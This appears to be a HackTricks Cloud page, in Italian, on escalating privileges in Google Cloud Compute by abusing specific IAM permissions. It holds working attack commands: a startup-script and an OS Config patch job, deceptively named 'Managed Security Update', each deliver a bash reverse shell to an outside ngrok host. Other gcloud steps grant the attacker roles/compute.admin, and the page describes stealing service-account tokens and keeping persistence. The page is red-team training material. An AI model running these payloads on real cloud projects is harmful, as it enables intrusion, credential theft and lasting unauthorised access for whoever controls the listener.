GCP - Compute Privesc
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Compute
Per ulteriori informazioni su Compute e VPC (rete) in GCP controlla:
caution
Nota che per eseguire tutti gli attacchi di escalation dei privilegi che richiedono di modificare i metadati dell'istanza (come aggiungere nuovi utenti e chiavi SSH) è necessario avere permessi actAs
sul SA allegato all'istanza, anche se il SA è già allegato!
compute.projects.setCommonInstanceMetadata
Con quel permesso puoi modificare le informazioni di metadata di un'istanza e cambiare le chiavi autorizzate di un utente, o creare un nuovo utente con permessi sudo. Pertanto, sarai in grado di eseguire via SSH in qualsiasi istanza VM e rubare il GCP Service Account con cui l'istanza sta funzionando.
Limitazioni:
- Nota che i GCP Service Accounts in esecuzione nelle istanze VM per impostazione predefinita hanno un ambito molto limitato
- Dovrai essere in grado di contattare il server SSH per accedere
Per ulteriori informazioni su come sfruttare questo permesso controlla:
Puoi anche eseguire questo attacco aggiungendo un nuovo startup-script e riavviando l'istanza:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
Questo permesso offre gli stessi privilegi del permesso precedente ma su istanze specifiche invece che su un intero progetto. Gli stessi exploit e limitazioni della sezione precedente si applicano.
compute.instances.setIamPolicy
Questo tipo di permesso ti permetterà di assegnare a te stesso un ruolo con i permessi precedenti e di elevare i privilegi abusandone. Ecco un esempio di aggiunta di roles/compute.admin
a un Service Account:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
Se OSLogin è abilitato nell'istanza, con questo permesso puoi semplicemente eseguire gcloud compute ssh [INSTANCE]
e connetterti all'istanza. Non avrai privilegi di root all'interno dell'istanza.
tip
Per effettuare correttamente il login con questo permesso all'interno dell'istanza VM, devi avere il permesso iam.serviceAccounts.actAs
sul SA associato alla VM.
compute.instances.osAdminLogin
Se OSLogin è abilitato nell'istanza, con questo permesso puoi semplicemente eseguire gcloud compute ssh [INSTANCE]
e connetterti all'istanza. Avrai privilegi di root all'interno dell'istanza.
tip
Per effettuare correttamente il login con questo permesso all'interno dell'istanza VM, devi avere il permesso iam.serviceAccounts.actAs
sul SA associato alla VM.
compute.instances.create
,iam.serviceAccounts.actAs, compute.disks.create
, compute.instances.create
, compute.instances.setMetadata
, compute.instances.setServiceAccount
, compute.subnetworks.use
, compute.subnetworks.useExternalIp
È possibile creare una macchina virtuale con un Service Account assegnato e rubare il token dell'account di servizio accedendo ai metadati per elevare i privilegi su di esso.
Lo script di exploit per questo metodo può essere trovato qui.
osconfig.patchDeployments.create
| osconfig.patchJobs.exec
Se hai i permessi osconfig.patchDeployments.create
o osconfig.patchJobs.exec
puoi creare un lavoro di patch o distribuzione. Questo ti permetterà di muoverti lateralmente nell'ambiente e ottenere l'esecuzione di codice su tutte le istanze di calcolo all'interno di un progetto.
Nota che al momento non hai bisogno del permesso actAs
sul SA associato all'istanza.
Se vuoi sfruttare manualmente questo, dovrai creare o un lavoro di patch o distribuzione.
Per un lavoro di patch esegui:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
Per distribuire un'implementazione di patch:
gcloud compute os-config patch-deployments create <name> ...
Lo strumento patchy potrebbe essere stato utilizzato in passato per sfruttare questa misconfigurazione (ma ora non funziona).
Un attaccante potrebbe anche abusare di questo per la persistenza.
compute.machineImages.setIamPolicy
Concediti permessi extra per l'immagine di calcolo.
compute.snapshots.setIamPolicy
Concediti permessi extra per uno snapshot del disco.
compute.disks.setIamPolicy
Concediti permessi extra per un disco.
Bypassare gli Scopi di Accesso
Seguendo questo link troverai alcune idee per provare a bypassare gli scopi di accesso.
Escalation Locale dei Privilegi in un'istanza GCP Compute
GCP - local privilege escalation ssh pivoting
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.